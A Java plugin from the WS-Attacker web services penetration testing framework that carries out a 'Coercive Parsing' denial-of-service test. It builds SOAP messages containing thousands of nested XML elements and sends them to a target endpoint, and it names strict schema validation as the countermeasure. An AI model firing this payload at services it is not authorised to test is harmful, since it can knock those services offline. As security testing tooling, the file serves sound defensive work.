/** * WS-Attacker - A Modular Web Services Penetration Testing Framework Copyright * (C) 2012 Andreas Falkenberg * * This program is free software; you can redistribute it and/or modify it under * the terms of the GNU General Public License as published by the Free Software * Foundation; either version 2 of the License, or (at your option) any later * version. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * details. * * You should have received a copy of the GNU General Public License along with * this program; if not, write to the Free Software Foundation, Inc., 51 * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. */ package wsattacker.plugin.dos; import java.util.HashMap; import java.util.Map; import wsattacker.main.composition.plugin.option.AbstractOptionInteger; import wsattacker.main.plugin.option.OptionLimitedInteger; import wsattacker.main.plugin.option.OptionSimpleVarchar; import wsattacker.plugin.dos.dosExtension.abstractPlugin.AbstractDosPlugin; import wsattacker.plugin.dos.dosExtension.option.OptionTextAreaSoapMessage.PayloadPosition; public class CoerciveParsing extends AbstractDosPlugin { // Mandatory DOS-specific Attributes - Do NOT change! // <editor-fold defaultstate="collapsed" desc="Autogenerated Attributes"> private static final long serialVersionUID = 1L; // </editor-fold> // Custom Attributes private AbstractOptionInteger optionNumberTags; private OptionSimpleVarchar optionTag; @Override public void initializeDosPlugin() { initData(); // Custom attack parameters optionNumberTags = new OptionLimitedInteger( "Number of nested elements", 1500, "Number of nested elements. E.g. '3' means <X><X><X></X></X></X>", 0, 147483647 ); optionTag = new OptionSimpleVarchar( "Element name", "X", "Element name (will be placed between < and >)" ); getPluginOptions().add( optionNumberTags ); getPluginOptions().add( optionTag ); } public AbstractOptionInteger getOptionNumberTags() { return optionNumberTags; } public OptionSimpleVarchar getOptionTag() { return optionTag; } @Override public PayloadPosition getPayloadPosition() { return PayloadPosition.HEADERLASTCHILDELEMENT; } public void initData() { setName( "Coercive Parsing" ); setDescription( "<html><p>This attack plugin checks if the server is vulnerable to a \"Coercive Parsing Attack\".</p><p>" + "The attack algorithm replaces the string $$PAYLOADELEMENT$$ in the SOAP message below " + "with the defined number of nested elements. " + "The placeholder $$PAYLOADELEMENT$$ can be set to any other position in the SOAP message" + "The number of nested elements is defined in \"Param 8 - number elements\". " + "The element name of the nested elements is defined in \"Param 9 - element name\", " + "i.e. if you choose \"X\" as an element name, each element has a size of 7 bytes." + "This would result in the following filesizes:\n" + "~ 150000 Tags result in a 1 mb file <ul>" + "<li>~ 75000 Tags result in a 0.5 mb file </li>" + "<li>~ 15000 Tags result in a 0.1 mb file</li>" + "<li>~ 7500 Tags result in a 0.05 mb file" + "</li></ul></p></html>" ); setCountermeasures( "The \"Coercive Parsing\" attack can be fully stopped by using strict schema validation. " + "Each WSDL should contain a detailed description of the used elements, attributes, and data types. " + "More Information: http://clawslab.nds.rub.de/wiki/index.php/Coercive_Parsing" ); } @Override public void createTamperedRequest() { // generate Payload String elementNameOpen = "<" + optionTag.getValue() + ">"; String elementNameClose = "</" + optionTag.getValue() + ">"; StringBuilder sb = new StringBuilder(); for ( int i = 0; i < optionNumberTags.getValue(); i++ ) { sb.append( elementNameOpen ); } for ( int i = 0; i < optionNumberTags.getValue(); i++ ) { sb.append( elementNameClose ); } // replace "Payload-Attribute" with Payload-String String soapMessage = this.getOptionTextAreaSoapMessage().getValue(); String soapMessageFinal = this.getOptionTextAreaSoapMessage().replacePlaceholderWithPayload( soapMessage, sb.toString() ); // get HeaderFields from original request, if required add custom // headers - make sure to clone! Map<String, String> httpHeaderMap = new HashMap<String, String>(); for ( Map.Entry<String, String> entry : getOriginalRequestHeaderFields().entrySet() ) { httpHeaderMap.put( entry.getKey(), entry.getValue() ); } // write payload and header to TamperedRequestObject this.setTamperedRequestObject( httpHeaderMap, getOriginalRequest().getEndpoint(), soapMessageFinal ); } // ---------------------------------------------------------- // All custom DOS specific Methods below! // ---------------------------------------------------------- }